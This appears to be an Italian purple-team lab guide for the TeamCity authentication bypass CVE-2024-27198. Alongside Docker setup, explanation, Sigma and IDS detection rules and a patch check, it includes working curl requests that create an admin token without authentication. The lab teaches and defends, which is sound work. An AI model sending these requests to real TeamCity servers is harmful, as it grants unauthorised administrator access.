Laboratorio per il CVE-2024-27198
TeamCity fornisce una pagina riservata all'amministratore per la gestione dei token che non è protetta da autenticazione. Ciò consente a un utente non autenticato di generare un token di accesso per l'utente amministratore se riesce a trovare un ID di un utente esistente.
La vulnerabilità risiede nel meccanismo di routing dell'API REST. Aggiungendo caratteri specifici (come ?jsp=/app/rest/...;.jsp) a un endpoint non autenticato, gli aggressori possono ingannare il server web di TeamCity facendogli instradare la richiesta verso un endpoint autenticato mentre eludono i filtri di sicurezza. Ciò non richiede alcuna conoscenza o accesso preliminare, rendendolo un puro 9.8 CVSS.
cd CVE-2024-27198
docker compose -f docker-compose.yml up -d
Accedi all'istanza TeamCity vulnerabile su http://localhost:8111. Accedi all'istanza TeamCity corretta su http://localhost:8112.
Nome utente:
admin
Password:
admin
Richiesta GET per una risorsa senza autenticazione:
curl -i http://localhost:8111/app/rest/users
curl -i http://localhost:8112/app/rest/users
Entrambe dovrebbero restituire un errore con codice di stato 401.
curl -X POST -H "Content-Type: application/json" \
"http://localhost:8111/hax?jsp=/app/rest/users/id:1/tokens/REDTEAM;.jsp" \
-d '{"name":"REDTEAM"}'
Questo dovrebbe restituire un token come questo (Il token è diverso ogni volta):
eyJ0eXAiOiAiVENWMiJ9.T1AzMHJjY3piNC1QWDlFenpnLXdCUkRuSF84.ZmJlODg3ZDQtNjFmYy00ZGQxLTk2MDAtYmJlYjViZjE4NGFi
curl -X POST -H "Content-Type: application/json" \
"http://localhost:8112/hax?jsp=/app/rest/users/id:1/tokens/REDTEAM;.jsp" \
-d '{"name":"REDTEAM"}'
Questo dovrebbe restituire un errore con codice di stato 401 perché l'istanza corretta non presenta la vulnerabilità.
curl -i -H "Authorization: Bearer <TOKEN>" \
http://localhost:8111/app/rest/users
Dovrebbe restituire l'elenco degli utenti.
Durante la dimostrazione in laboratorio, puoi mostrare un'enorme scoperta del Blue Team: di default, questa vulnerabilità è incredibilmente furtiva!
;.jsp non vengono registrate.Allora come lo intercettiamo? Quando l'aggressore copre le proprie tracce! Quando l'aggressore elimina il proprio token non autorizzato per nascondersi, TeamCity registra quella azione.
Trova l'aggressore che copre le proprie tracce nei log di audit:
docker exec teamcity-vulnerable grep "delete_token" /opt/teamcity/logs/teamcity-activities.log
(Vedrai una voce di log che indica che il token "REDTEAM" è stato eliminato).
docker compose -f docker-compose.yml down
Questa vulnerabilità è un'istanza di CWE-288: Bypass dell'Autenticazione tramite un Percorso o Canale Alternativo.
Il difetto deriva da un problema di confusione del percorso tra il server web Tomcat e il router dell'applicazione TeamCity. Aggiungendo ;.jsp e passando l'endpoint dell'API REST di destinazione nel parametro jsp=, il filtro di sicurezza iniziale interpreta la richiesta come una richiesta non autenticata a un file .jsp pubblico (che è consentito). Tuttavia, il router interno rimuove ;.jsp e inoltra la richiesta all'endpoint /app/rest/ senza applicare il filtro di autenticazione.
Caso d'Uso Legittimo (Perché è consentito ;?):
Tomcat utilizza il carattere punto e virgola (;) per i Parametri Matrix. Storicamente, questo meccanismo viene utilizzato per passare parametri direttamente all'interno del percorso, come aggiungere JSESSIONID per mantenere lo stato della sessione utente quando i cookie sono disabilitati. Questo normale e legittimo comportamento del server web, combinato con la convalida impropria da parte del router dell'applicazione TeamCity, è ciò che crea la vulnerabilità.
Per rilevare una compromissione in corso o passata, i Blue Team dovrebbero cercare:
/app/rest/ ma contengono la stringa anomala ;.jsp nell'URI.teamcity-server.log): Generazione inspiegabile di token di accesso o creazione di nuovi account amministrativi.Poiché lo sfruttamento iniziale è furtivo per impostazione predefinita, i Blue Team devono fare affidamento sul rilevamento delle azioni post-sfruttamento dell'aggressore, come la copertura delle tracce. Ecco una regola Sigma per il tuo SIEM per rilevare eliminazioni sospette di token:
title: JetBrains TeamCity Suspicious Token Deletion (Post-Exploit CVE-2024-27198)
id: 9a2b53f6-1234-4567-890a-abcdef123456
status: experimental
description: Detects an attacker covering their tracks after exploiting CVE-2024-27198 by deleting their rogue token.
author: Purple Team
date: 2026-05-18
logsource:
category: application
product: teamcity
detection:
selection:
message|contains: 'delete_token_for_user'
condition: selection
level: medium
Per dimostrare che questo rilevamento funziona, esegui lo script siem_simulator.py.
docker compose up -d).python3 siem_simulator.py
Per rilevare questo tentativo di sfruttamento sulla rete, un SOC può implementare la seguente regola IDS, che cerca il pattern anomalo ;.jsp combinato con i percorsi dell'API REST:
alert tcp $EXTERNAL_NET any -> $HTTP_SERVERS $HTTP_PORTS (msg:"EXPLOIT JetBrains TeamCity Auth Bypass Attempt (CVE-2024-27198)"; flow:established,to_server; content:"GET"; http_method; content:"?jsp=/app/rest/"; http_uri; content:";.jsp"; http_uri; classtype:attempted-admin; sid:1000001; rev:1;)
Per dimostrare che la mitigazione funziona, puoi lanciare lo stesso identico payload di sfruttamento contro il container TeamCity corretto in esecuzione sulla porta 8112:
curl -i -X POST -H "Content-Type: application/json" \
"http://localhost:8112/hax?jsp=/app/rest/users/id:1/tokens/REDTEAM;.jsp" \
-d '{"name":"REDTEAM"}'
Poiché la patch applica rigorosamente il matching delle route e sanifica correttamente i parametri matrix, il bypass fallirà. Dovresti vedere una risposta 401 Unauthorized o 404 Not Found invece di un token generato.